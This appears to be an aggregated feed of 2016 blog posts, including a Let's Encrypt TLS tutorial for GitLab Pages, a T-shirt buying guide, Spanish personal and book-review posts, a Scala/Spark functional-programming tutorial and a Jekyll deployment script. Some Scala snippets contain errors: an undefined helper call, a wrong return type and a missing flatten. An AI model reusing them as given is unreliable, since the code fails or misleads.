GeekWare - Daniel Pecos Martínez — Tue, 15 Nov 2016 08:01:12 GMT

Por todo lo que has sido y hecho, no puedo hacer otra cosa que estarte agradecido.

Llevo meses tratando de escribir este post, y realmente puede que sea el más difícil escrito nunca. Varias veces he tenido que parar y dejarlo para otro momento. No pretendo que sea un post público sino algo que te escribo a ti. Para mi.

Ni que decir que te echaré de menos. Nunca te olvidaré y haré todo lo posible para que Izan tampoco lo haga. Todas las noches mira las estrellas para mandarte besos.

Gracias por todo mamá!

How to add TLS to a custom domain on Gitlab Pages

A Holding Company — Tue, 15 Nov 2016 02:00:00 GMT

Official Tutorial

Make sure letsencrypt-auto is executable (chmod +x letsencrypt-auto)
Use the command ./letsencrypt-auto certonly -a manual -d YOURDOMAIN.org -d www.YOURDOMAIN.org for all subdomains you want to include.
After a few screens, during which you’ll need to enter your email address, and give permission for you IP to be logged, you’ll be asked to add a page to your site.

Make sure your web server displays the following content at
http://YOURDOMAIN.org/.well-known/acme-challenge/5TBu788fW0tQ5EOwZMdu1Gv3e9C33gxjV58hVtWTbDM
before continuing:

5TBu788fW0tQ5EOwZMdu1Gv3e9C33gxjV58hVtWTbDM.ewlbSYgvIxVOqiP1lD2zeDKWBGEZMRfO_4kJyLRP_4U

\#
\# output omitted
\#

Press ENTER to continue

Once you do that, you’ll be asked to enter another page, same as above. Once added you’ll have saved files in /etc/letsencrypt/live/YOURDOMAIN.org/fullchain.pem and /etc/letsencrypt/live/YOURDOMAIN.org/privkey.pem.
Enter these values in your gitlab.io project. Settings (gear on the top right) > Pages > + New Domain.
fullchaim.pem —> Certificate (PEM) | privkey.pem —> Key (PEM) | Do this for each (sub)domain you specified in Step 2.
It might take a little while, but your updated certificate should start to show up in ~10-15 minutes.

Where to Buy (Cheap) Shirts Online

Baptiste Fontaine’s Blog — Mon, 14 Nov 2016 23:23:00 GMT

This post title sounds like a spam email subject but I was asked twice in the past three weeks where I buy my t-shirts, so here’s an answer that everybody can benefit from.

Living in Europe means we can get quite high shipping costs on US-based websites. The highest shipping cost per t-shirt I ever got was $23 for two t-shirts and on some websites up to 40% of the total cost is due to shipping.

The main criteria I have when buying t-shirts online are:

Their price. I very rarely buy t-shirts that are more expensive than $20-25. The reason is I like to buy multiple t-shirts at once and having to pay $100 for four t-shirts plus shipping isn’t something I’d consider.
The quality of their design. Of course if all you want is a unicolor t-shirt you can go to virtually any clothing store in the street to get one.
Their shipping costs and how much time I’ll have to wait (spoiler: at the very least a couple weeks if it comes from the US).

A bonus point is if they accept Paypal. This is because Paypal does the Euro/Dollar conversion for me; otherwise if I pay with my credit card in Dollars my bank ~~steals~~ takes me ~1% of the price, or €1 if it’s lower than €100.

Not-that-fun story: I once had to pay a $0.02 AWS bill. It cost me €1.02; €1 for my bank and ~€0.02 for AWS.

Note that I’m not affiliated with any of the websites listed in this post and I bought one or more times on each one.

Threadless

Threadless is the first website I ordered shirts on; back in 2009. They have a large choice of t-shirts; you have to really dig to find geeky ones. A lot of them are as low as $10-12 and they have promos where shirts can go as low as $5. All the ones I bought in 2009 are still in perfect condition. The shipping costs are acceptable at ~30% of the total cost (e.g. 5 t-shirts for $45 + $27 for shipping = $72) but I need at least a month to receive my package.

Pluses: Large choice, good prices.
Minuses: YMMV but I need to dig a lot to find t-shirts I like.

6 Dollar Shirts

I don’t remember how I found 6 Dollar Shirts but it was quite a pleasant surprise to see a website that sells shirts at $6 each. They even have a special price at $50 for ten of them. They have a lot more geeky shirts and ones with references to popular culture. There are also a lot of political t-shirts that I’m not interested in — but again you may like them.

The downside of the site are the high shipping costs: $35 for ten shirts. But given their shirt prices it stays very low: $50+$35 for ten t-shirts means only $8.5 per t-shirt. The first ones I bought in 2013 are still in pretty good shape. They’re not as good as Threadless’ but they’re really good for their price.

Pluses: Prices, and some designs are really great.
Minuses: After ~20 t-shirts I find it hard to find enough nice shirts to fill another 10-shirts bulk.

Teespring

Teespring is a time-limited t-shirts website. People submit their design and if there are enough buyers before a few days it goes to print. It’s not a site I often go on but it seems to be popular for when people want to print a special-occasion shirt.

I bought two shirts from them in 2014; each one cost $18 plus $12 of shipping cost. That’s quite high, which is why I don’t often visit their website.

Pluses: Some shirts are nice.
Minuses: Prices are high and there’s not a lot of choice.

Cotton Bureau

Cotton Bureau is similar to Teespring but with higher prices and goals appears to be higher than Teespring so less t-shirts go to print. They do have nice shirts, thought.

Last time I bought a t-shirt from them was on October 31 of this year. I picked a Mystery Tee as well, which is a cheaper shirt they choose for you. They should ship on November 28 so I should get them for Christmas — That’s a long time to wait. I paid $25 for the t-shirt I chose; $15 for the Mystery one; and $24 for the shipping. You have to really want that t-shirt to pay that much.

Pluses: Nice designs and if enough people subscribe to an already-printed t-shirt it goes to print again.
Minuses: Quite expensive and you have to wait until the end of the buying window to have it printed and shipped.

Redbubble

Redbubble is a marketplace that sells a lot of stuff with designs from a lot of people.

They have a lot of choice but in my experience the quality of their designs is lower than Threadless’ and 6 Dollar Shirts’. They even sometimes have duplicated or copied designs: two or three people got the same idea and submitted (almost) the same design.

The positive side of this is you’ll often find t-shirts that refer to current TV series that don’t have official stores (unlike CBS’ series), for example this Bojack-Horseman-themed shirt.

Their shipping costs are pretty low; I paid only €2.5 to get my €21 t-shirt.

Pluses: Low shipping costs and some nice finds if you search a lot.
Minuses: A lot of not-so-original designs that make it harder to find the good ones.

TeeFury

TeeFury is a daily t-shirt website. They have two shirts featured for a day at $11; otherwise you have to pay the full price ($20). I’m not a huge fan of their designs but they have very low shipping costs; only $3 for a $11 t-shirt.

Pluses: They’re the cheapest option of this list when you buy only one or two t-shirts at once.
Minuses: Only two t-shirts per day.

I hope this post may help you buy (cheap) t-shirts online. Note the shipping costs I gave were for me in France; they may vary depending on your location.

Please share your own recommendations in the comments!

Announcing the Cross Sectional Dataset

blog.harterrt.com — Mon, 14 Nov 2016 10:00:00 GMT

I'm happy to announce a new telemetry dataset!

The Cross Sectional dataset makes it easy to describe our users by providing summary statistics for each client. Like the Longitudinal table, there's one row for each client_id in a 1% sample of clients. However, the Cross Sectional dataset simplifies your analysis …

El Temor de un Hombre Sabio

GeekWare - Daniel Pecos Martínez — Mon, 14 Nov 2016 08:00:46 GMT

El ex profesor de lengua y literatura inglesa Patrick Rothfuss presenta El Temor de un Hombre Sabio la continuación del libro El Nombre del Viento, incluido en la Crónica el Asesino de Reyes. Narra la historia de un joven prodigio que todos dan por muerto, ahora con nuevo nombre en una aldea extraviada, trata de rehacer y continuar con su vida. Los recuerdos sobre interesantes batallas, alegrías y penurias explican porque la arrogancia y seguridad en la actitud de Kvothe, “Quizás hayas oído hablar de mí”.

Kvothe vuelve con heroísmo y penurias en “El Temor de un Hombre Sabio”

Kvothe sigue siendo el héroe, trotamundos y ladrón acostumbrado, su pasado lo persigue a través de sus recuerdos. No puede culminar sus estudios, recorre los paisajes de Severen, allí se vincula a la política de la sociedad cortesana. Una interesante, pero peligrosa mujer aparece, Felurian, quien logra seducirlo con mucha sensualidad a través de sus encantos. Tanto así que la acompaña sin pensarlo al mundo de los Fatas ese del cual nadie regresa, creando muchas circunstancias amorosas en la vida del joven.

Poco a poco se vuelve buen asesino, cualidad incondicional para lograr su venganza contra los Chandrian. En El Temor de un Hombre Sabio Kvothe cuenta con la compañía de Tempi, un mercenario Adem. Aprende el legendario ketan, en esta oportunidad se suman enseñanzas y misiones que fortalecen sus conocimientos en combate.

“El hombre había desaparecido, el mito había quedado”

El Temor de un Hombre Sabio empieza donde termina** El Nombre del Viento**. Mundos de tinieblas y oscuridad, donde Kvothe se ve maduro, argumenta sus decisiones, posee dinero, empieza a asumir responsabilidades en la espontánea vida que ha llevado. Aparecen nuevamente sus amigos, se reencuentra con todos ellos y nacen nuevas tertulias y anécdotas que comprueban porque hay rebeldía, irreverencia a los lujos y fuerte lucha contra la pobreza en la vida del trotamundos.

Es un nuevo joven, rebelde, pero comienza a comprender la responsabilidad de su poder, está más enfocado en la venganza, se mantiene bajo perfil ahora planea sus acciones. Sin embargo aparecen nuevas cadenas que romper y decisiones que tomar para este casi adulto.

“He recorrido de noche caminos de los que otros no se atreven a hablar ni siquiera de día”. En **El Temor de un Hombre Sabio **la arrogancia es fiel compañera de Kvothe, el enemigo interno resulta en ocasiones más poderoso que la voluntad, la cualidad de héroe se resalta y comprueba con las habilidades adquiridas desde niño hasta el presente.

**El Temor de un Hombre Sabio **es la obra de ficción fantasía que trasmite realidad en un mundo lleno de magia, dioses, clasismo y la ideología Teccam, creíble y cierta para Kvothe. El destino depara mundos nuevos, costumbres sociales diferentes y distintos sistemas monetarios al cual debe adaptarse para poder pasar inadvertido ante los problemas. La premisa de venganza se mantiene y el miedo no es la mejor opción. “Todo hombre sabio teme tres cosas: la tormenta en el mar, la noche sin luna y la ira de un hombre amable”.

Highlighting the release of Beyond jQuery - A book by Ray Nicholus

Train of Thought — Mon, 14 Nov 2016 02:00:00 GMT

I was interviewed by Widen Enterprises regarding my book, Beyond jQuery. This is the accompanying article which includes a quote from the director of software development.

Programming Poetry

Train of Thought — Mon, 14 Nov 2016 02:00:00 GMT

Express your coding thoughts as a Haiku, Sonnet, or even a Cinquain.

So you want to sell stuff online

Yasha Solutions — Mon, 14 Nov 2016 02:00:00 GMT

Selling online has the highest profit margin. It’s also one of the cheapest way to sell direct to consumer at scale. That’s also why it is growing rapidly over the past 5 years, and it will keep growing as the world is going increasingly digital. So, if you want to make the jump to ecommerce and sell online, let’s have a look at what you want to consider before you build anything.

Ourofuros

Michael Honey: Writing - michaelhoney.com — Sun, 13 Nov 2016 08:53:25 GMT

Linda Liukas: Rails Girls Founder & Author of Hello Ruby

Sam Solomon — Sun, 13 Nov 2016 02:00:00 GMT

Linda Liukas thinks is the author and illustrator behind Hello Ruby, a series of children’s books about technology.

Mind Map Creators On Unix

Venam's Blog — Patrick Louis (Lebanon) — Sat, 12 Nov 2016 19:00:00 GMT

Mind maps are, from wikipedia, A mind map is a diagram used to visually organize information. A mind map is hierarchical and shows relationships among pieces of the whole. It is often created around a single concept, drawn as an image in the center of a blank page, to which associated representations of ideas such as images, words and parts of words are added. Major ideas are connected directly to the central concept, and other ideas branch out from those.

How We Run Infrastructure at Zapier

James Carr — Sat, 12 Nov 2016 02:00:00 GMT

I think I am long overdue for writing a post about how we run infrastructure at Zapier. While I admit our setup might be far from perfect, I feel it works well and has served us as we scale the business out. I am also proud of how much we have been able to do with such a small team! Philosophy Since the beginning, we’ve been big on maintaining a philosophy of “Immutable Infrastructure” and treating our instances as cattle, not pets.

Functional Programming and Big Data

ntietz.com blog - technically a blog — Sat, 12 Nov 2016 02:00:00 GMT

Update: I wrote this while preparing a talk for the Columbus Functional Programmers meetup. You can find the talk on YouTube. It has more humor than these words, but then you'd have to listen to my voice.

This post is a long one, so here’s a brief roadmap. We’ll start with a quick introduction to functional programming. Then you’ll get a quick introduction to Apache Spark and the history of big data. After that, we will get to a hands on demo of Spark. Okay, are you with me? Let’s go!

Intro to Functional Programming

Motivation

First of all, why should you even care about functional programming?

Simply put, functional programming matters because it is a big part of the future of the software industry. The industry is buzzing about functional programming (FP). Elements of FP are working their way into most mainstream languages. Even C++ and Java, stalwarts of the procedural object-oriented camp, have adopted lambda functions. It is less common to see FP adopted wholesale, but functional languages like Scala, F#, and Clojure are gaining in popularity. Although uncommon, companies are even using Haskell in production systems.

You should care about functional programming even if you never use it in production (although, I suspect you will). Functional programming gives you a completely different way of thinking about problems and is a good tool in any programmer's toolbelt. Of course, getting this other perspective comes with a price: FP usually takes a significant investment to learn and to learn well.

Fluffy Abstract Explanation

So, with the benefits in mind, let's tackle the first question: what is functional programming? Wikipedia defines it as "a programming paradigm [...] that treats computation as evaluation of mathematical functions and avoids changing-state and mutable data". Let's break that down piece by piece:

a programming paradigm is a essentially a style of programming and the features it uses. Paradigms you'll hear about most frequently are: imperative; object-oriented; procedural; functional; declarative. There is often overlap between these, and it's mostly a way to classify languages and talk about them more easily.
computation as evaluation of mathematical functions means that instead of a "data recipe" where you have a set of instructions that you follow step by step, you describe with math what you expect as output based on what you provide as input. That is, you precisely describe the relationship between the set of all inputs and the set of permitted outputs of your function.
avoiding changing-state and mutable data means that you can't say x = 5 and then later say x = 10. When you set a value equal to something, it is equal forever and you can't change the state. If you create a list and you need to add a new element to it, you don't modify it in-place - you create a new list with the element added to it. This gives a few nice properties: you don't have to worry about concurrent accesses to data structures, since those are read-only; you don't have to worry about a function modifying data you pass in, since it can't; and it simplifies testing.

So, in a functional programming language, you write code using functions that don't have side effects. Since we are arguably removing features from imperative languages (mutable data, side effects, etc.), we must also be adding features (or creating a very strange language). Here are a couple of features we will always have in functional languages:

Higher order functions: functions that can take functions as arguments, and can return functions as results. This makes it so you can do really cool things like writing your own control structures. We'll see examples of this in the next section, since it underpins most of functional programming.
Lambda functions are anonymous functions. They sometimes have restrictions in what they can do (for example, lambdas in Python cannot do everything lambdas in Haskell can do) but in principle, a lambda function is just an unnamed function.
Algebraic datatypes are composite types, most commonly product types (such as tuples or records) and sum types (such as union types). We will also see examples of these in the next section.

There are a lot of other features that you see more in functional programming languages, but it is important to keep in mind that not all FP languages are Haskell, and you can do FP even if your language is technically in a different paradigm (for example, JS has a strong community building around doing FP, especially with the rise of frameworks like React and Redux and libraries like Ramda).

That made no sense, show me the code

Let's not pretend that that was perfectly clear. Unless you've actually done some functional programming, that explanation is likely abstract and not perfectly clear, so let's look at a few concrete examples. These will all be in Scala (it can show both imperative and functional styles, and it is the language used for Spark).

"Hello Fibonacci"

The canonical example for getting started with functional programming seems to be calculating the Fibonacci sequence. It's short and digestible and shows a little bit of the flavor (and avoids IO, which can be difficult in functional languages).

n.b.: I'm assuming the user will always pass in valid input, and we aren't concerned with error handling here. That's for another blog post.

First, let's take a look at an imperative implementation:

def imperativeFibonacci(n: Int): Int = {
  var a: Int = 0
  var b: Int = 1
  var index: Int = 0

  while (index < n) {
    index += 1

    val next = a + b
    a = b
    b = next
  }

  a
}

This is basically the version we all wrote when we were learning. It was kind of tricky to write, and a lot of that trickiness comes from the fact that when we look at the definition of the Fibonacci series on Wikipedia, it is not expressed as this kind of calculation. Wouldn't it be nice if we could write it in a way that's closer to how it's defined?

We're in luck. Here is one way we could write a functional implementation:

def fibonacci(n: Int): Int = n match {
  case 0 => 0
  case 1 => 1
  case _ => fibonacci(n-1) + fibonacci(n-2)
}

This is much cleaner. It has two major problems, though: it will result in a stack overflow if we run with too high of an n value, and it will be really slow for large n (it's O(2^n), which makes kittens cry).

Here's another functional approach which is still clean and avoids both of these problems:

def fibonacci(n: Int): Int = {
  def fib(n: Int, a: Int, b: Int): Int = n match {
    case 0 => a
    case _ => fib(n-1, b, a+b)
  }
  fibHelper(n, 0, 1)
}

This one avoids stack overflows by using tail calls, which are optimized by the Scala compiler and turned into loops. It also is more efficient, since it compiles down to something very similar to our imperative version above.

What makes this better than the imperative approach? Truthfully, it isn't necessarily better. It definitely is different, and having a different approach will benefit you.

Examples (Lambdas, Maps, Folds)

Now we have seen a basic example, we should look at a more thorough, complete, and realistic example. This is obviously contrived, but it should give you the flavors of functional programming.

Let's pretend that you're a professor and your program has a list of student records in it (containing name, id, and grade). First, let's define the datatype we are using:

case class Student(name: String, id: String, grade: Float)

Now you want to know who is failing your course so you can intervene and help them get a better grade. We need to find the students who are currently failing. As an imperative programmer, you might write something like this:

def getFailingStudents(roster: Seq[Student]): Seq[Student] = {
  var disappointments = Seq[Student]()
  for (student <- roster) {
    if (student.grade < 90.0) { // we have high standards
      disappointments :+= student
    }
  }
  disappointments
}

If you also want to find the students who are passing, you will have to write nearly identical code. Let's see how we would do both of them in a functional style. I'm going to skip actually implementing the filter function and just show you how we do it with some functional constructs (higher order functions, lambda functions):

val failingStudents = roster.filter(x => x.grade < 90.0)
val passingStudents = roster.filter(x => x.grade >= 90.0)

Without higher order functions, we would not be able to define this kind of filter function. (We could hack it together using anonymous classes and overriding methods, like was done in Java for a long time, but that is ugly and very cumbersome; this is very clean.) The great thing about doing filters this way is we don't have to reimplement anything for passing students, we just use a different predicate.

Now let's compute the average grade of your students. Again, first imperative...

def averageGrade(roster: Seq[Student]): Seq[Student] = {
  var total = 0.0
  for (student <- roster) {
    total += student.grade
  }
  total / roster.length
}

...and then functional...

val sum = roster.map(student => student.grade)
                .foldLeft(0.0)((a,b) => a + b)
val avg = sum / roster.length

Here we have introduced two new concepts:

map is used to transform one list into another list. It applies the supplied function to every element of the list. In this case, we transform a Seq[Student] into a Seq[Float]. This generally preserves the structure of the list, but transforms the content of it.
fold is used to compact down a list and generate a resulting value (foldLeft and foldRight just control associativity). The first argument is the initial accumulator, and then it applies the given function to the current accumulator and the next element of the list to generate the new accumulator. In our case, we transform a Seq[Float] into a Float by summing up the list. Note: fold is also sometimes called reduce.

What's Left?

There is a wealth of knowledge out there to gain in functional programming, and this introduction has come nowhere close to telling you everything useful about it. All of you should spend some time on reading and learning about functional programming. Hopefully, this has been a useful taste and will give you at least some value. Now we have to move on to other things.

Why is FP in Big Data?

I think at least a little bit of the hype about functional programming lately is thanks to the big data community. That should be apparent after learning more about how it is applied. Let's go through the history of big data to see how we've gotten to where we are, then go through the core concepts from FP that are useful in big data and how to use them and apply them.

We haven't always had the infrastructure needed for handling big data, in terms of network speed and storage capacity. One of the first companies which had both the capacity for big data and the need for it was Google. Another was Yahoo. (It turns out, the internet is big and generates a lot of data.) One of Yahoo's search engineers, Doug Cutting, created Lucene in 1999. The project ran well for a while but was running into a few problems, and Google happened to release a relevant paper on a distributed filesystems, which was then integrated into Lucene. Again in 2004, Google released a paper about a framework called MapReduce, and then it was integrated into some of Yahoo's infrastructure. In 2006, this integration was pulled out into its own project, called Hadoop. The Hadoop ecosystem grew over time and eventually some very smart folks at Berkeley created Spark, which is basically the de facto big data processing framework now.

So, what is MapReduce, and what is Spark?

What is MapReduce? Simply put, MapReduce is a way to compute on large amounts of data by providing Map and Reduce operations. You can have as many iterations of your computation as you want, and in each one, you define a Mapper which is run over each input record and generates output, and you define a Reducer which reduces down the results and either prepares them for output or for further computation. These operations are designed to be run across many machines, often hundreds or thousands, so we have some specific requirements we need to support that. We discussed Map and Reduce (fold) above, so we already know that these concepts are drawn from functional programming. It's curious that the entire computing model Google released is based around two fundamental functions in functional programming, so we have to dig in to see why those functions were chosen. It turns out that the assumptions we make for functional programming are very helpful in doing distributed computations:

Avoiding side effects makes life better. With functional programming, one of the core tenets is that you do not use side effects when computing values, so if f(10) returns 3 the first time you evaluate it, then f(10) will return 3 every time you evaluate it. Why does this matter for distributed computing? Because machine and network failures are fairly common, and you are almost guaranteed to encounter them when you run a cluster of hundreds or thousands of machines. If your computation always returns the same output for the given input, then dealing with failures is easy - just rerun the failed part of the computation on a new machine. But if it doesn't always return the same result (such as doing a distributed random shuffle of an array), then you have to start the entire computation over if any single part of it fails.
Avoiding global state makes life better. This goes hand-in-hand with avoiding side effects, but is a subtly different point (or a more specific one). By avoiding global mutable state, you make it really easy to distribute your computation across many machines, because you no longer have to worry about shared global locks or synchronizing state between the machines. You only have to worry about getting each machine the data it is computing on.
Without side effects, testing is easier. Since our computation doesn't (or shouldn't) have side effects, we can test things more easily, because we don't have to reset the computation between runs. We just pass in reasonable input to the test and as long as we get back the correct output, we are good to go. Whereas with side effects, we would have to worry about cleaning up after the tests, make sure that the computation can run correctly even if a previous run failed, etc.

Now, Hadoop (the open source implementation of MapReduce) was not perfect. Since Java did not support lambda functions or first-class functions until very recently, Hadoop MapReduce required you to write classes for the mapper and reducer, and these were very large and very clunky even when you were doing something relatively simple. Some people figured the solution was to add bindings for Python, where these implementations could be much shorter. However, it is still a big lift to write a class in order to just run a couple of functions... we should be able to pass those in directly. Further, people started to recognize that MapReduce was not the perfect paradigm for solving every single problem - it worked very well for some, and most could be shoved into it, but it wasn't perfect.

Along comes Spark to save the day.

What is Spark? Apache Spark is an engine for large-scale data processing. It lets you do things like compute product recommendations, figure out duplicate patients in an elecronic health record system, and analyze clickstream data for that sweet, sweet advertizing revenue. Basically, it lets you pump in a lot of data, do some computations on it, and pump out results (and supports doing this on streaming data, too). This is a lot like Hadoop MapReduce, except that you are not restricted to running a map and a reduce over your data - you can do many other operations. All of this was enabled by the work done on Hadoop, which was generalized into a resource manager which Spark was later written on top of.

So, if we can do the same things we could with Hadoop MapReduce, why do we need Spark at all? Well, we need it because it borrowed more from functional programming - and being written in Scala, these functional concepts are much easier to apply.

First-class functions make life easier. Instead of defining a mapper class, we just pass in a mapping function: ourData.map(_ + 1). Instead of taking another whole file for the class just to create a function to pass in as the mapper, we can do it in one line, by just defining the map function.
We get better error handling. Instead of returning null when a computation returns nothing, or manually crafting a datatype we can return that captures either-this-or-nothing, we have built-in datatypes that cover this (Either and Maybe), and we get an added bonus - any code that pattern matches against our return type is forced by the compiler to handle both cases, so we can rest assured that we won't have unhandled code paths. This is mostly a benefit brought in by algebraic data types.
Operating over collections is easy. Remember that filter example above? We can do exactly that in Spark by just passing in a filter. The same with averages, or any other computation we can think of. Spark exposes a collections API we can use much like the built in collections, so we can do things almost exactly like we would on in-memory data (in a functional style), and get distributed computation for free.

Hands on with Spark

Now that we've learned what Spark is and where it came from, let's get our hands dirty with some actual examples of how Spark works. We will look at some standard functional programming functions and properties, and how these apply to writing Spark jobs.

Higher Order Functions

Now let's go through some of the common higher order functions you'll use when you're writing Spark jobs.

Filter

In functional languages, filtering lists (or any collection) is simple:

List(1,2,3,4,5).filter(x => x%2 == 0) // Only even numbers

We can do the same thing in Spark:

rdd.filter(x => x%2 == 0) // Only even numbers

It is the same operation we had before. We simply pass in function, and it gets applied to our data automatically.

Map

Mapping over a collection is a way of converting a collection of one type into a collection of another type. Suppose you have a list of Strings:

List("1","2").map(x => x.toInt)

We can do the same thing in Spark:

stringNums.map(x => x.toInt)

The problem here is that sometimes we might have something that cannot be parsed, and Spark will abort the job if it fails too many times, so we should not have uncaught exceptions. How do we solve this problem in a functional style? We simply use the Option type (and a handy Scala wrapper that turns exceptions into None and returned values into Some(...) values). Here's the same conversion, but safe:

stringNums.map(x => Try(x.toInt).toOption)

This is great, but the problem is we now have RDD[Option[Int]] where we wanted RDD[Int]. How do we correct this? By reading the next section!

Flattening

When we have a list of lists (or generally, a collection of collections), we can flatten that into just the outer shell. Essentially, we take the innermost nested elements, and we pull them out of their containers into the parent containers. That's kind of hard to understand abstractly, so let's look at an example. Here's some vanilla Scala code that takes a Seq[Seq[Int]] and applies flatten, resulting in a Seq[Int]:

Seq(Seq(1,2), Seq(3), Seq(), Seq(4,5,6)).flatten == Seq(1,2,3,4,5,6)

We can do this with Options, too! Here's what that looks like:

Seq(None, Some(1), Some(2), None, None, Some(3)) == Seq(1,2,3)

Okay, so now we need to see how to do it in Spark. Spark, unfortunately, does not have flatten built in, but it does have flatMap, which means "apply map to this, and then flatten the results". We can work with that. There are two ways we can rewrite our old code to utilize our newfound flattening capabilities:

stringNums.map(x => Try(x.toInt).toOption).flatMap(identity)
stringNums.flatMap(x => Try(x.toInt).toOption)

The first line maps over the collection and then flattens it after the fact, while the second just uses flatMap in the first place and flattens it as it goes. The second is preferred, but the first is an option if you have a really good reason to do it.

Reduce (and friends)

We saw reduce before, and we can use it in Spark, as well. Let's say we have an RDD[Student] that contains all our students, and we want to compute the average grade right now. We can do that by first extracting their grades, then reducing across it, and then dividing that by the total number of students.

val numStudents = students.count
val sum = students.map(s => s.grade)
                  .reduce(_ + _)
val average = sum / numStudents

What if we want to count the words in a document? Suppose we have the document line-by-line. Then we can use one of the cousins of reduce, reduceByKey, to do this after we turn each word into a word-count-pair. This example leverages flatMap and map, and then combines everything down with a reduceByKey:

lines.flatMap(line => line.split(" "))
     .map(word => (word, 1))
     .reduceByKey(_ + _)

At the end, we will have turned an RDD[String] into RDD[(String,Count)] and we have the word counts we were looking for.

There are other higher order functions we can also use, and these are available in the API docs. Now, let's move on and look at a couple of other things we need to know about how functional programming applies to Spark.

Associativity and commutativity

First, some super dry terminology:

An associative operation is one where you can add in parentheses wherever you want and still get the same result. This means that, to be associative, we must have: (a + b) + c == a + (b + c). This holds true for most things we do, like addition and multiplication, but does not hold true for exponentiation: it's not the case that (2 ^ 3) ^ 4 == 2 ^ (3 ^ 4). It's also not true that (2 - 3) - 4 == 2 - (3 - 4).
A commutative operation is either one that drives to work, or it's one where you can rearrange the order of the elements and still get the same result. This means that, to be commutative, we must have a * b == b * a (note: the * can mean multiplication, but it stands in for any operation we are doing). So, we can notice again that this does not hold for exponentiation or subtraction, but does hold for addition and multiplication.

This is important to understand when writing Spark programs, because you need your operations (usually) to be associative and commutative. If they are not, your code will have race conditions and non-deterministic behavior, and may also crash Spark.

Suppose you wrote this:

someNumbers.reduce(_ - _)

What would you expect the result to be? The short answer is: we don't know. Since the operation is not associative and is not commutative, we have broken both constraints we need to have this operation work well. In practice, this will probably kill your Spark job and will definitely give you unpredictable results if it does finish.

Usually you won't try to reduce with - or ^, but this is something to keep in mind always. I know from personal experience that with sufficiently advanced Spark jobs, you can break associativity and commutativity in subtle ways that will eventually come out but be very difficult to debug. So keep it in mind, and think about this if your job sporadically fails.

What if you try side effects / IO?

Another thing to note is that sometimes, it is tempting to do IO or side effects within your Spark job. For example, you might want to compute a new interest rate for each customer, then write it back to the database:

customers.map(cust => calculateNewInterestRate(cust))
         .map(writeToDb(cust))

The problem is, we've just massively distributed our computation, and now we are going to essentially do a distributed denial of service attack on our database! This is problematic for obvious reasons, and I'd say that folks wouldn't try this, but I've seen it done, at places I've worked or where friends have worked.

You can also do something similar by reading data in, such as configuration files:

customers.map(cust => if (getConfig.flagIsOn) .......)

If you aren't careful, you'll read the configuration file for every single customer, and then your operations team will come hunting for you. Let's hope they don't have any unresolved anger issues.

Beyond just having your ops team hate you, this style of coding also is very difficult to test, because you have to have the configuration server/files, your database, etc. available just to run the code, even if you're not testing that interaction.

So, how do you resolve both of these cases? Basically, you do what you are supposed to do in any functional programming language: cleanly separate anything that is "pure" (no side effects, no IO) from anything that relies on the outside world.

Conclusion

Hopefully by now, you have the basic flavor of functional programming and you've seen how it has influenced Spark, and big data in general. There is a lot here to learn, but it is worth it and will ultimately make you a stronger engineer by giving you a second, independent way of thinking about your problems.

If you have any questions, feel free to contact me (info in the side bar).

Sphinx Real Time Index How to Distribute and Hidden Gotcha

Ben E. C. Boyter — Fri, 11 Nov 2016 11:34:42 GMT

I have been working on real time indexes with Sphinx recently for the next version of searchcode.com and ran into a few things that were either difficult to search for or just not covered anywhere.

The first is how to implement a distributed search using real time indexes. It’s actually done the same way you would normally create an index. Say you had a single server with 4 index shards on it and you wanted to run queries against it. You could use the following,

The Orange by Wendy Cope

ho.dges.online — Fri, 11 Nov 2016 02:00:00 GMT

At lunchtime I bought a huge orange -
The size of it made us all laugh.
I peeled it and shared it with Robert and Dave -
They got quarters and I had a half.

And that orange, it made me so happy,
As ordinary things often do
Just lately. The shopping. A walk in the park.
This is peace and contentment. It’s new.

The rest of the day was quite easy.
I did all the jobs on my list
And enjoyed them and had some time over.
I love you. I’m glad I exist.

Death's End

Krishna's blog — Thu, 10 Nov 2016 02:00:00 GMT

Liu Cixin's Death's End is a special set of books that puts as much Science as it can in Science Fiction.

Automated Jekyll Deployments

Mike Kasberg's Blog — Wed, 09 Nov 2016 05:40:00 GMT

My last post was about using Jekyll as a podcasting platform. Now, I want to talk about how I set up automatic deployments with Jekyll. I’m deploying to a Dreamhost server, but the principles I applied should work for most servers that provide ssh access.

Why?

Automatic deployment is important to me. Anything that is not automated is error-prone, and I don’t want to run that risk when deploying my website. With the podcast site I recently developed, there was an additional benefit. I wanted to be able to schedule the podcast to publish an episode at a specific time (preferably overnight), without having to interact with it during the delpoyment. This was important because we publish our podcast at a regular interval. With automated deployment, I don’t need to worry about modifying my schedule to make sure I’m free at the time we need to publish the episode.

How?

The idea for this setup is pretty simple. We were already using Git for version control. To setup automated deployments, I began by simply putting a bare Git repo on our Dreamhost server. Developers can push to this repo via ssh just like any other repo.

With the Git repository on the web server itself, it is easy to write a script that builds and deploys the site from that repository. The script itself isn’t too complex. It just checks out a copy of our source, uses Jekyll to build it, and then deploys it to our public html folder. The hardest piece of all of this was getting Jekyll to run on our Dreamhost server - which we accomplished with Ruby RVM and a user install of Jekyll.

Here’s a slightly simplified version of our deployment script:

GIT_REPO=$HOME/myjekyllsite.git
TMP_GIT_CLONE=$HOME/tmp/myjekyllsite
PUBLIC_WWW=$HOME/mypodcast.com

# Check out the Git repository so we have a working copy in a temp dir.
git clone $GIT_REPO $TMP_GIT_CLONE

# Build it.
jekyll build -s $TMP_GIT_CLONE -d $TMP_GIT_CLONE/_site

# Deploy it.
cp -r $TMP_GIT_CLONE/_site/* $PUBLIC_WWW

# Clean up.
rm -rf $TMP_GIT_CLONE

echo "Done."
exit

So?

Using a script like this to deploy our Jekyll site has been great! Since the process is entirely scripted, there’s little room for error. Also, deploying the site on a regular schedule is as simple as running this script from a cron job. By default, Jekyll will not publish anything with a future date, so we can queue up as many posts as we want which will be automatically published in the future. This method of deployment has simplified our process and removed some of the risk normally associated with updates.

November 2016 Goals

Josh Thompson — Wed, 09 Nov 2016 02:00:00 GMT

November 2016 Goals

Note to the reader: The words that follow are all about me. Very naval-gaze-ish. I feel I owe you this warning.

My November goals are an extension of my October goals.

October was good ( October review) - I made progress on two of three projects, and one of those projects need to conclude to make space for the third. (I want to wrap up a course from www.climbersguide.co, and once that hits a stable finish state, I’ll switch to prep for Turing School.)

Deepen my knowledge of front-end web development

Same goal as last year - finish up the current tutorial, and then sketch out small next steps and start studying. exercism.io is a good place to work on little problems and practice a bit.

Climb 5.13

